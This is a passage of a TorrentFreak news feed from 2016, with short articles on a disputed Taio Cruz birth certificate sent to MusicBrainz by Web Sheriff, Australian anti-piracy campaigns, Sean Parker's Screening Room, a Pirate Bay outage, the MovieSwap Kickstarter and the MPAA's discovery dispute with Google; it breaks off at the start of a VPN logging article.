url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/EtmAHtFcmPw/
content:
<p><a href="media/9b756b97.cruz-small.jpg" data-original-source="http://torrentfreak.com/images/cruz-small.jpg" rel="attachment wp-att-119116"><img src="media/9b756b97.cruz-small.jpg" data-original-source="http://torrentfreak.com/images/cruz-small.jpg" alt="cruz-small" width="220" height="220" class="alignright size-full wp-image-119116"></a>When an anti-piracy company gets involved in issues that don&#8217;t include the protection of copyright, things always feel a little unusual. In this case, however, things have progressed well beyond that.</p>
<p>The story begins back in September 2015 when music meta-data site <a href="http://musicbrainz.org/">MusicBrainz</a> received a rather unusual demand from (in)famous anti-piracy company Web Sheriff.</p>
<p>Instead of the baseless legal threats the site <a href="https://www.google.com/transparencyreport/removals/copyright/domains/musicbrainz.org/">often receives</a> when anti-piracy companies confuse it for a pirate site, Web Sheriff asked MusicBrainz to &#8220;correct&#8221; some data on its artist page for Taio Cruz, specifically his name.</p>
<p>The <a href="https://musicbrainz.org/artist/ba7d2626-38ce-4859-8495-bdb5732715c4">page</a> lists three names for the artist including Taio Cruz, Jacob Milan Taio Cruz and a less familiar one, Adetayo Ayowale Onile-Ere.</p>
<p>While unusual to Western ears, Cruz has a Nigerian father, a fact celebrated in depth on various Nigerian <a href="http://www.nairaland.com/327105/taio-cruz-nigerian">discussion forums</a> over the years.</p>
<p>Indeed, references to Adetayo Ayowale Onile-Ere can be found on webpages dating back <a href="http://project-scoop2.blogspot.co.uk/2008/03/song-of-day-taio-cruze-like-star.html">eight years</a> and is variously claimed to have been Cruz&#8217;s name at birth. However, according to the Web Sheriff, that is simply not true.</p>
<p>In correspondence seen by TorrentFreak, last year Web Sheriff informed MusicBrainz that it protects the online rights of Cruz including his &#8220;on-line security&#8221;. The company claimed that a news reporter had erroneously reported Cruz&#8217;s name as Adetayo Ayowale Onile Ere &#8220;some time ago&#8221; and the &#8220;error&#8221; had gained traction online. Entries on Wikipedia only made matters worse, Web Sheriff said. </p>
<p>Noting that they had been hired to correct all online references to the &#8220;bogus name&#8221;, Web Sheriff told MusicBrainz that the issue is causing Taio Cruz &#8220;unnecessary anxiety&#8221; so a &#8220;correction&#8221; would be appreciated. In principle MusicBrainz founder Robert Kaye agreed, but requested proof of Cruz&#8217;s real name.</p>
<p>&#8220;If you can provide us with some legal proof that [the name is false], we&#8217;ll consider making this change,&#8221; Kaye said in a return mail.</p>
<p>Some two weeks later in October 2015, Kaye received more correspondence from Web Sheriff, this time with a copy of a birth certificate said to belong to Cruz. However, Kaye was not convinced of the authenticity of the document, noting that although Cruz&#8217;s father is often reported to have been a lawyer, that term is not usually used in the UK.</p>
<p><center><a href="media/47054a05.cruz-cert.png" data-original-source="http://torrentfreak.com/images/cruz-cert.png" rel="attachment wp-att-119112"><img src="media/47054a05.cruz-cert.png" data-original-source="http://torrentfreak.com/images/cruz-cert.png" alt="cruz-cert" width="568" height="777" class="aligncenter size-full wp-image-119112"></a></center></p>
<p>&#8220;With this observation as my motivation, I rang up her majesty’s government to ask how I would go about verifying the validity of a birth certificate. I was told that the UK government could not verify the authenticity of a certificate, but that I could request a copy of the certificate myself since they are public record,&#8221; Kaye <a href="http://blog.musicbrainz.org/2016/03/08/beware-of-the-web-sherriff/">explains</a>.</p>
<p>Then the bombshell. On November 8, 2015, Kaye received a letter from the government informing him that a certificate with the details he supplied simply does not exist and that his processing payment would be refunded.</p>
<p>Indeed, at least on the surface there does appear to be problems with the document, not least the spelling error in &#8220;Chelsea and Wes(t)minster Hospital&#8221; and the fact that the National Health Service reports the hospital as <a href="http://www.nhs.uk/Services/Hospitals/Overview/DefaultView.aspx?id=1528">opening in 1993</a>, eight years after Cruz was born.</p>
<p>All this leads to the MusicBrainz founder concluding that Web Sheriff sent him a fake and/or falsified birth certificate for a world-famous recording artist.</p>
<p>&#8220;This means that Web Sheriff provided us a forged birth certificate in order to accomplish its dirty deeds,&#8221; Kaye says.</p>
<p>Intrigued, TorrentFreak contacted Web Sheriff who told us that they acted in good faith.</p>
<p>&#8220;For your info, the relevant Birth Certificate was provided to us by the client / principal concerned. We have absolutely no reason to question its veracity (MusicBrainz’s comments notwithstanding),&#8221; the company said.</p>
<p>&#8220;As such, the posts by MusicBrainz that Web Sheriff &#8216;… forged …&#8217; the certificate in question are entirely wrong / wide-of-the-mark and we shall, of course, be taking the matter up with them directly as well.&#8221;  </p>
<p>In all fairness MusicBrainz didn&#8217;t accuse Web Sheriff of forgery, only of passing a forged document on, but if the certificate is a fake, one has to wonder what the motivation behind it is. Is it a case of genuinely wanting to correct the facts and making a mess of it? Or is there something more sinister at play?</p>
<p>In any event, faking a UK birth certificate is a criminal offense so Streisand Effect not withstanding, it better have been worth it.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=119051
title: Australian Anti-Piracy Campaign Won’t Target Hardcore Pirates
uri: Australian-Anti-Piracy-Campaign-Won-t-Target-Hardcore-Pirates
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/6uvTJFyu1fs/
content:
<p><a href="media/c5e87d4f.aus.jpg" data-original-source="http://feed.torrentfreak.com/images/aus.jpg" rel="attachment wp-att-96798"><img src="media/dbb74c88.aus.jpg" data-original-source="http://torrentfreak.com/images/aus.jpg" alt="aus" width="250" height="159" class="alignright size-full wp-image-96798"></a>The IP Awareness Foundation (IPAF) is one of Australia&#8217;s key anti-piracy groups and has some serious heavyweight backing. <a href="http://www.ipawareness.com.au/about">Supporters</a> include the Motion Picture Association, which counts all of the major Hollywood studios as members. That alone is enough to shape anti-piracy policy Down Under.</p>
<p>IPAF has produced a number of <a href="https://torrentfreak.com/teen-pirates-pay-for-movies-more-often-than-non-pirates-141015/">reports</a> over the years, most recently one which concluded that piracy is <a href="https://torrentfreak.com/online-piracy-drops-in-australia-netflix-151014/">actually decreasing</a> in Australia.</p>
<p>But while progress is certainly being made, IPAF is already planning the next stages of its campaign and that begins today with a rebranding exercise and the placement of new management figures.</p>
<p>&#8220;The IP Awareness Foundation, the film and television industries’ peak body for the<br>
promotion of copyright, creative rights, piracy research and education resources, has rebranded as ‘Creative Content Australia’,&#8221; the group announced.</p>
<p>In addition to adopting a softer and more consumer-friendly name, Creative Content has also made three new appointments, each of them heavyweights in their own field.</p>
<p>First up is Graham Burke, Co-Executive Chairman and Co-Chief Executive Officer of movie outfit Village Roadshow. Burke, who is perhaps the most outspoken individual in Australia on the issue of Internet piracy, will take on the position of Chairman.</p>
<p>Also jumping on board are Damian Keogh, CEO of <a href="http://www.theaustralian.com.au/business/news/hoyts-sold-to-china-cinema-giant-wanda/news-story/31b6c626ab4987242c23388af6b1d91d">Hoyts Group</a>, a cinema giant operating 400 screens across Australia plus DVD and Blu-ray rental machines in 650 locations. He will be joined by <a href="https://www.insideretail.com.au/blog/2015/02/13/disney-makes-key-appointments/">Jo Bladen</a> from Walt Disney Studios.</p>
<p>“The aim of our organization has always been to contribute to a more informed debate about legal access to film and television content,&#8221; says Creative Content Australia’s Executive Director Lori Flekser.</p>
<p>&#8220;Graham, Damian and Jo, along with our existing board members, are passionate about promoting the value of copyright. They are invaluable advocates of Creative Content Australia’s research, educational resources and consumer awareness campaigns. While we are starting to see a change in attitude towards piracy, there is still much work to be done.”</p>
<p>The adoption of the word &#8216;creative&#8217; mirrors similar initiatives in both the United States and <a href="https://torrentfreak.com/uk-anti-piracy-education-campaign-starts-this-summer-150720/">United Kingdom</a>, where aggressive anti-piracy rhetoric targeting the consumer is slowly being replaced by softer tones which place more emphasis on supporting artists and other creators.</p>
<p>Incoming Chair Graham Burke says that changing the way the industry offers content will help that process to develop.</p>
<p>&#8220;[Our] research finds that Australians say they are now much more aware that the industry is increasingly making more movies and TV shows available in a timely and affordable way, and I’m looking forward to seeing Creative Content Australia produce new consumer campaigns to highlight the benefits of accessing content legally, as opposed to the great damage caused to our creative industry by piracy,” Burke says.</p>
<p>But despite the softer tones, it might prove difficult for Burke to completely abandon his previously aggressive stance. He has a core belief that pirates <a href="https://torrentfreak.com/aussie-piracy-notices-delayed-but-lawsuits-are-coming-150826/">need to be held accountable</a> and that pirating individuals are responsible for fueling crime. Indeed, comments to <a href="http://www.forbes.com/sites/dongroves/2016/03/08/creative-content-australia-to-drive-extensive-anti-piracy-campaign/#1cced6152bc9">Forbes</a> suggest that he still holds that belief, but that education rather than punishment might be the way forward.</p>
<p>&#8220;Some people have not considered that piracy is just plain wrong but when they understand it is not a victimless crime and other people will lose their jobs, they stop,&#8221; he said.</p>
<p>“Additionally these people are not aware they are part of a criminal underbelly with sites that carry advertising for gambling with no age limit, party drugs, hard core pornography and prostitution, as well as exposing themselves to nasty viruses.”</p>
<p>It seems the campaign to begin educating the masses could start as early as this summer but interestingly (and in common with campaigns in the US and UK) not much time will be spent on hardcore pirates.</p>
<p>“We are working out who to target: vulnerable people who are dipping in and out of piracy, those who are on the edge, or people who can’t resist the urge to get something for nothing,&#8221; says Creative Content Australia executive director Lori Flekser. </p>
<p>&#8220;We won’t target persistent pirates because only punishment or the threat of punishment will rein them in. This will be our most far reaching campaign. Graham has garnered enormous industry support to ensure the campaign plays out on the widest possible level.”</p>
<p>Only time will tell how the campaign will shape up but one thing is guaranteed. The entertainment industries &#8211; movies companies in particular &#8211; need to step up their game. The belief among Australians that they are being treated as second-class consumers on the world stage has not gone away and <a href="https://torrentfreak.com/vpn-providers-condemn-netflix-blocking-crackdown-160118/">cracking down</a> on their Netflix habits won&#8217;t help that perception.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=119139
title: Napster Founder Plans to Offer New Movies at Home For $50 Per Shot
uri: Napster-Founder-Plans-to-Offer-New-Movies-at-Home-For-50-Per-Shot
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/UuhfN2JxLtI/
content:
<p><a href="media/ff584a98.film.png" data-original-source="http://feed.torrentfreak.com/images/film.png" rel="attachment wp-att-69392"><img src="media/aa3ac9b8.film.png" data-original-source="http://torrentfreak.com/images/film.png" alt="film" width="180" height="127" class="alignright size-full wp-image-69392"></a>Straightforward availability of content is often cited as a reason for people pirating content. Whether it&#8217;s geo-locked movies on Netflix or TV shows premiering in the United States before less lucrative markets, reasons for obtaining content without permission begin to pile up.</p>
<p>One of the main availability issues is caused by theatrical windowing, the period in which the latest blockbusters play exclusively in theaters before hitting consumer platforms. During these weeks and months the public is expected to head off to the cinema and pay relatively large sums of money to watch the movie in the company of hundreds of others, or go without.</p>
<p>While this is an attractive proposition to millions of people every year, others prefer to enjoy content in their own homes but during the theatrical window there is only one way to do that and it involves breaking the law. However, if Napster co-founder Sean Parker has his way, watching first-run movies without leaving the couch might soon be an option.</p>
<p>According to Hollywood <a href="http://variety.com/2016/film/news/studios-exhibitors-consider-revolutionary-plan-for-day-and-date-movies-at-home-exclusive-1201725168/">sources</a>, Parker is currently working on a new project which will offer brand new movies in the home on the date they&#8217;re released in cinemas.</p>
<p>Called Screening Room, the project envisions the installation of a special set-top box in the home for a not unreasonable $150. However, when consumers want to watch a movie they will have to shell out $50 for the opportunity to view it once during a 48 hour period.</p>
<p>For the single person at home or those on a date, $25 to $50 each sounds like a lot of money. That being said, throw in a family with a few kids or a bunch of friends on a Saturday night, all of a sudden it&#8217;s much less than $10 each which is an altogether more interesting proposition.</p>
<p>Also on the upside is the avoidance of the other ancillary costs associated with visiting a theater. There&#8217;s no fuel to reach the location, no parking charges, no expensive food and drink, and no expensive movie memorabilia to spend money on. In fact, the more one thinks about it, the better value $50 sounds.</p>
<p>Of course, while all this money saving might be good for the public it sounds bad for theater chains. However, Screening Room is said to have a solution. According to a Variety report the company might be prepared to cut exhibitors in on the deal, handing them up to $20 per screening. Furthermore, customers who pay $50 to watch at home would then get two free tickets to watch the movie in the cinema, a clear opportunity to make some money on top.</p>
<p>Needless to say, distributors will also demand a cut and it&#8217;s being reported they would receive a 20% share of the $50 outlay. For their part, Screening Room is looking at taking just 10% ($5) from each viewing.</p>
<p>While still in the early stages of development, it&#8217;s reported that Screening Room representatives have been meeting with all the major studios with Universal, Fox and Sony showing a lot of interest. According to sources, the company is close to doing a deal with AMC.</p>
<p>But not everyone is happy, far from it. According to comments made to <a href="http://deadline.com/2016/03/the-screening-room-sean-parker-distribution-exhibition-controversy-1201717454/">Deadline</a> by a pair of major studio distribution executives, Screening Room&#8217;s proposals are of huge concern.</p>
<p>“This news is so damaging, I can’t tell you right now how unhappy I am,” said one.</p>
<p>Another expressed a more apocalyptic view.</p>
<p>&#8220;It would be the beginning of the end, and half of the theaters in this country would close,” he said.</p>
<p>So, on the one hand sits Screening Room, with plans to fill a huge gap in the market while disrupting it significantly. On the other sits some frightened industry players who see the fledgling company as the modern equivalent of the <a href="http://cryptome.org/hrcw-hear.htm">Betamax Boston Strangler</a>.</p>
<p>At home sit hungry consumers, some looking to outlay $50 per shot and others wondering if the incoming movies will be easy to copy. Apparently Screening Room has secure anti-piracy technology in place &#8211; but they all say that, don&#8217;t they?</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=119141
title: The Pirate Bay Offline For 24 Hours Due to Technical Problems
uri: The-Pirate-Bay-Offline-For-24-Hours-Due-to-Technical-Problems
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/11ekWHBShns/
content:
<p><img src="media/2a43984f.pirate-bay.jpg" data-original-source="http://torrentfreak.com/images/pirate-bay.jpg" alt="pirate bay" width="200" height="207" class="alignright size-full wp-image-53470">The Pirate Bay has been unreachable for more than a day now.</p>
<p>TorrentFreak reached out to the TPB team and we were informed that there&#8217;s a technical issue with the servers that should be resolved soon.</p>
<p>The Pirate Bay currently displays a CloudFlare error message across <a href="http://torrentfreak.com/pirate-bay-moves-to-gs-la-vg-am-mn-and-gd-domains-150519/">all domain names</a>, confirming that TPB&#8217;s servers are unresponsive.</p>
<p>In addition to the main thepiratebay.se domain name, the .onion address and various proxy sites are also offline.</p>
<p><center><img src="media/e050ed0e.cf502.png" data-original-source="http://torrentfreak.com/images/cf502.png" alt="cf502" width="600" height="464" class="alignnone size-full wp-image-119142"></center></p>
<p>The Pirate Bay has had quite a few stints of downtime in recent weeks. The popular torrent site usually returns after several hours, but an outage of more than 24 hours is relatively rare. </p>
<p>With <a href="https://torrentfreak.com/swedish-police-raid-the-pirate-bay-site-offline-141209/">the raid</a> of 2014 still fresh in people&#8217;s minds, some are quick to spread panic, but these concerns are unwarranted.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=119100
title: Three Large File-Hosting Sites Announce Shutdown
uri: Three-Large-File-Hosting-Sites-Announce-Shutdown
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/TQbBo3jU8_k/
content:
<p><img src="media/1e359cee.closemars.png" data-original-source="http://torrentfreak.com/images/closemars.png" alt="closemars" width="222" height="172" class="alignright size-full wp-image-119105">While the largest file-sharing sites are targeted at an international audience, there are also many localized versions tailored to users in smaller regions. </p>
<p>This is also the case for the file hosting services Lolabits.es, Abelhas.pt and Partageurs.com. </p>
<p>The three sites, which are linked, target users in Spanish, Portuguese and French respectively and have grown to become very popular in countries where these are the native languages.</p>
<p>However, this will soon end. After several years of operation the file-sharing portals have announced they will close their doors at the and of the month.</p>
<p>In a message to its users, Lolabits says that the closure is due to reasons beyond their control. The other two sites have put up a similar message, urging users to back up their files before the and of the month.</p>
<p>&#8220;We regret that LOLABITS.es closes on March 31, 2016 for reasons beyond our control. Download your important files this month, because from that date they will no longer be available,&#8221; Lolabits notes.</p>
<p>TorrentFreak reached out to the Lolabits operator who informed us that there are no legal issues. Instead, the sites have problems monetizing their service, suggesting that it&#8217;s no longer sustainable to keep them online. </p>
<p><cneter><strong>Lolabits will close</strong><br></br></center><center><img src="media/4b3ccb34.lolabits.jpg" data-original-source="http://torrentfreak.com/images/lolabits.jpg" alt="lolabits" width="596" height="312" class="alignnone size-full wp-image-119104"></center></p>
<p>Most copyright holders will be happy to see the sites gone, as they were common targets for various takedown requests. </p>
<p>Google&#8217;s transparency report shows that rightsholders asked to remove over a million links pointing to the sites, with Abelhas being flagged the most, more than <a href="https://www.google.com/transparencyreport/removals/copyright/domains/abelhas.pt/">800,000 times</a> in recent months. </p>
<p>Interestingly, the original Polish version of the file-hosting services shows no shutdown notification and lives on for now. <a href="https://en.wikipedia.org/wiki/Chomikuj.pl">Chomikuj.pl</a> has been in operation for over a decade and is currently among the top 30 most-visited sites in the country.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=119227
title: MovieSwap Aims to Be a Huge Crowd-Powered Streaming Service
uri: MovieSwap-Aims-to-Be-a-Huge-Crowd-Powered-Streaming-Service
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/LSt_tddsTUM/
content:
<p><a href="media/697df9db.movie-swap-small.jpg" data-original-source="http://torrentfreak.com/images/movie-swap-small.jpg" rel="attachment wp-att-119233"><img src="media/697df9db.movie-swap-small.jpg" data-original-source="http://torrentfreak.com/images/movie-swap-small.jpg" alt="movie-swap-small" width="220" height="220" class="alignright size-full wp-image-119233"></a>While some great things happen on the platform, Kickstarters aren&#8217;t widely covered here on TF. There are an awful lot of them and most in our niche rarely grow into anything noteworthy.</p>
<p>Today, however, we&#8217;re going to make an exception because if this particular project takes off, it&#8217;s going to blow up &#8211; probably in the most spectacular way.</p>
<p>&#8220;What if you had an unlimited access to the LARGEST ONLINE MOVIE LIBRARY EVER? A community based library, where you could watch any movie online. A library where you could swap films with contributors all over the world and discover an infinite number of stories. This is the revolutionary idea behind MovieSwap,&#8221; the <a href="https://www.kickstarter.com/projects/1151191861/movieswap-join-us-to-freethemovies">Kickstarter</a> begins.</p>
<p>MovieSwap, should it get off the ground, will be a subscription service, presumably a little like Netflix. However, instead of teaming up with studios and distributors to offer content, MovieSwap intends to take the idea of swapping a physical DVD with friends to its logical, Internet-powered conclusion.</p>
<p>Noting that more than 25 billion DVDs have been sold in the past 15 years, MovieSwap wants to take this dying format and breathe new life into it.</p>
<p>&#8220;Because people already PAID for them, we invented a fair way to give [DVDs] a brilliant second life,&#8221; the promo material reads. But how? Well, this is where it gets interesting.</p>
<p>MovieSwap says it will collect millions of genuine DVDs from all over the world and register them with the service on behalf of their owners. The team claims to already have 200,000 in its warehouse.</p>
<p><center><a href="media/40fcb983.movie-swap-ware.jpg" data-original-source="http://torrentfreak.com/images/movie-swap-ware.jpg" rel="attachment wp-att-119232"><img src="media/40fcb983.movie-swap-ware.jpg" data-original-source="http://torrentfreak.com/images/movie-swap-ware.jpg" alt="movie-swap-ware" width="650" height="434" class="aligncenter size-full wp-image-119232"></a></center></p>
<p>Once in their possession, MovieSwap will digitize/rip the DVDs and place them in the cloud for members to play on any device, anywhere. But that&#8217;s not all.</p>
<p>&#8220;Then, just like you can legally lend, swap, or offer a DVD to a friend, MovieSwap works in the same way, but on a much larger scale thanks to its remote playback technology,&#8221; the team says. </p>
<p>&#8220;Additionally, users can get the full DVD experience including bonuses, deleted scenes, director&#8217;s commentaries, and other unique features not available when streaming videos online.&#8221;</p>
<p>According to the MovieSwap team, the service will be available on PC, Mac, Android tablets and even on a Firestick-style HDMI Android dongle. Interestingly the PC version will utilize VLC Media Player to read DVDs &#8220;over the Internet&#8221;, with VLC&#8217;s president <a href="http://www.jbkempf.com/">Jean-Baptiste Kempf</a> already on record as financially backing the project.</p>
<p><center><a href="media/655792b3.movieswap-vlc.jpg" data-original-source="http://torrentfreak.com/images/movieswap-vlc.jpg" rel="attachment wp-att-119230"><img src="media/655792b3.movieswap-vlc.jpg" data-original-source="http://torrentfreak.com/images/movieswap-vlc.jpg" alt="movieswap-vlc" width="650" height="434" class="aligncenter size-full wp-image-119230"></a></center></p>
<p>Hats off to the MovieSwap team for having the guts to put together something as innovative as this. It&#8217;s not only a brilliant use for a dying format but also an excellent way to make use of already-paid-for content that people have lying around their homes. There&#8217;s no doubt that the public will absolutely love this service.</p>
<p>Trouble is, Hollywood will hate MovieSwap in similar measures and at the first opportunity will begin torching it to the ground.</p>
<p>Somehow, however, MovieSwap insist they&#8217;re on solid ground. They have an intellectual property graduate on board and they believe that their business model is entirely legal.</p>
<p>&#8220;MovieSwap is also strongly advised and based its approach on a fully legal basis, combining two legal concepts known as &#8216;first sale doctrine&#8217; and &#8216;fair use&#8217;,&#8221; they state.</p>
<p>At the moment MovieSwap has a 35,000 euro funding goal and at the time of writing they&#8217;re only 5,000 euros short. While that might be enough to get them off the ground, it won&#8217;t be enough to fight an even moderately bitter fight with Hollywood, even if they were to spend all of it on lawyers.</p>
<p>This seems like a classic case of brilliant minds running wild in order to create a service that everyone will love, but also one that&#8217;s a prime candidate for a messy legal battle that enriches only the lawyers. This is definitely one to watch, in every sense of the word.</p>
<p>The Kickstarter can be found <a href="https://www.kickstarter.com/projects/1151191861/movieswap-join-us-to-freethemovies">here</a>.</p>
<p><center><iframe width="560" height="315" src="https://www.youtube.com/embed/RHT_I8NUN8M" frameborder="0" allowfullscreen></iframe></center></p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=119055
title: MPAA Wants to Keep Its Anti-Piracy Secrets From Google
uri: MPAA-Wants-to-Keep-Its-Anti-Piracy-Secrets-From-Google
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/Kg4PU2fMvzU/
content:
<p><img src="media/1f9a16ec.mpaa-1.jpg" data-original-source="http://torrentfreak.com/images/mpaa-1.jpg" alt="mpaa" width="222" height="163" class="alignright size-full wp-image-119098">Late last year <a href="http://torrentfreak.com/google-mpaa-publicly-slam-each-other-over-piracy-141219/">leaked documents</a> from the Sony hack revealed that the MPAA helped Mississippi Attorney General Jim Hood to revive SOPA-like censorship efforts in the United States.</p>
<p>In a retaliatory move Google sued the Attorney General, hoping to find out more about the secret plan. The company also demanded internal communication <a href="https://torrentfreak.com/google-takes-mpaa-to-court-over-secret-censorship-plans-150603/">from the MPAA</a> and its lawfirm Jenner &#038; Block, as well as several movie studios.</p>
<p>More recently Google requested a deposition of MPAA lead counsel Steve Fabrizio, who could possible provide additional details on the case. These type of interrogations are part of the discovery process, but according to the MPAA Google&#8217;s recent request goes too far. </p>
<p>The MPAA believes that the deposition should be quashed, as it would put its anti-piracy strategies at risk and violate its First Amendment rights. </p>
<p>In a motion to refuse the deposition, the MPAA notes that their lead counsel only sent two emails to the Attorney General. The group therefore suspects that Google has an alternative motive to hear its counsel. </p>
<p>More specifically, the MPAA fears that Google may use the discovery process to uncover its legal anti-piracy strategies.</p>
<p>&#8220;&#8230;the conclusion is inescapable that Google seeks his deposition not to advance any legitimate discovery goal, but rather to satisfy Google’s curiosity about, and potentially undermine, the MPAA’s anti-piracy legal strategies..,&#8221; they write.</p>
<p><center><strong>MPAA&#8217;s opposition</strong><br></br></center><center><img src="media/7a4e8a0c.mpaaopposition.jpg" data-original-source="http://torrentfreak.com/images/mpaaopposition.jpg" alt="mpaaopposition" width="540" height="241" class="alignnone size-full wp-image-119199"></center></p>
<p>In recent months Google has already requested numerous documents and deposed several people who are or were connected to the group, with a particular interest in its anti-piracy efforts.</p>
<p>&#8220;Google has shown a keen interest in learning more about the MPAA’s content protection activities, and is using discovery in this case to that end,&#8221; the MPAA&#8217;s filing reads. </p>
<p>&#8220;Even before its latest salvo, Google had served six subpoenas on the MPAA, its law firm, three of its member companies, and two of its employees or former employees.&#8221; </p>
<p>In addition to breaching its anti-piracy strategies, the MPAA doesn&#8217;t want to reveal any details on their strategy to ask government law enforcement officials for help in copyright infringement cases.</p>
<p>Having to reveal these internal strategies would violate their First Amendment right to free exercise of political speech and association, the MPAA argues.</p>
<p>&#8220;&#8230;inquiry by Google into the MPAA’s decisions to petition government law enforcement officials for assistance regarding Google’s conduct threatens to chill the First Amendment associational rights of the MPAA, its employees (including Mr. Fabrizio), and its members,&#8221; they write.</p>
<p>It’s now up to the judge to decide whether Google should be allowed to interrogate the MPAA&#8217;s lead counsel. Deposition or not, based on the stakes at hand this case isn’t going to blow over anytime soon. </p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=119249
title: Australian Movie Giant Considering Legal Action Against Pirates
uri: Australian-Movie-Giant-Considering-Legal-Action-Against-Pirates
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/UgRdXhhCtEs/
content:
<p><a href="media/71374742.spongepirate.jpg" data-original-source="http://feed.torrentfreak.com/images/spongepirate.jpg" rel="attachment wp-att-102272"><img src="media/9231f6fe.spongepirate.jpg" data-original-source="http://torrentfreak.com/images/spongepirate.jpg" alt="spongepirate" width="170" height="208" class="alignright size-full wp-image-102272"></a>Earlier this week a leading Australian anti-piracy outfit announced a rebranding exercise. Previously known as the IP Awareness Foundation (IPAF), the Hollywood affiliated group became Creative Content Australia, a name more closely associated with the support of artists.</p>
<p>At the same time the group announced several additions to its upper management, including the appointment of Graham Burke as chairman. Burke is the co-chief of Australia-based movie giant Village Roadshow and his <a href="https://torrentfreak.com/movie-boss-avoids-copyright-qa-to-avoid-piracy-crazies-140820/">aggressive stance</a> towards piracy Down Under has been notable in recent years.</p>
<p>However, this week Creative Content Australia said its upcoming anti-piracy scheme would be education-based and would seek to target more casual downloaders. Re-educating hardcore pirates <a href="https://torrentfreak.com/australian-anti-piracy-campaign-wont-target-hardcore-pirates-160309/">is not its aim</a>, the group said. So does it necessarily follow that other file-sharers will be getting a free pass? Apparently not.</p>
<p>In an interview published by Crikey today (<a href="http://www.crikey.com.au/2016/03/11/village-roadshow-actively-considering-dallas-buyers-club-piracy-case-sequel/">subscription</a>), Burke (wearing his Village Roadshow hat) said that his company could take legal action against pirates in the future.</p>
<p>Noting that his company is already monitoring people sharing Village Roadshow content via peer-to-peer networks, Burke confirmed that his company could go down the legal route to identify pirates.</p>
<p>“It’s something we’re having a closer look at,&#8221; he said.</p>
<p>Given the <a href="https://torrentfreak.com/dallas-buyers-club-gives-up-chasing-pirates-in-australia-160210/">recent failure</a> of the Dallas Buyers Club case in Australia it was widely believed that Aussie companies would stay away from trying to mass identify pirates through the courts. However, Burke suggests that Village Roadshow would take a more considered approach.</p>
<p>&#8220;If we were to pursue it, we’d be doing it on the basis of a fair and reasonable approach. I think [Dallas Buyers Club] have a different approach,” he said.</p>
<p>According to the Crikey report Burke wouldn&#8217;t be drawn on when any case might be launched, instead noting that the option was “under active consideration”. That being said, Burke&#8217;s comments will come as a surprise to those who recall remarks he made during the summer of 2014.</p>
<p>&#8220;We don’t want to sue 16-year-olds or mums and dads,&#8221; Burke said. &#8220;It takes 18 months to go through the courts and all that does is make lawyers rich and clog the court system. It’s not effective.&#8221;</p>
<p>Perhaps the movie boss has something cheap, quick and effective up his sleeve now. If he has he could license it to Dallas Buyers Club, whose case enjoyed none of those qualities.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=119053
title: VPN Provider’s No-Logging Claims Tested in FBI Case
uri: VPN-Provider-s-No-Logging-Claims-Tested-in-FBI-Case
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/mfulXgWWkak/
content:
<p><a href="media/5f0dfd25.spy.jpg" data-original-source="http://feed.torrentfreak.com/images/spy.jpg" rel="attachment wp-att-39770"><img src="media/3d881413.spy.jpg" data-original-source="http://torrentfreak.com/images/spy.jpg" alt="spy" width="200" height="177" class="alignright size-full wp-image-39770"></a>With monitoring and spying now a fact of life on the Internet, millions of privacy conscious individuals have taken to protecting their online identities. Many choose to do so by using companies that offer a Virtual Private Network (VPN) service.</p>
<p>In layman&#8217;s terms a VPN replaces the user&#8217;s IP address with one under the control of the company, meaning that their own IP is kept private when accessing services online. However, some VPN companies carry extensive logs which mean that when put under pressure they are able to link a user&#8217;s account to specific online activity.</p>
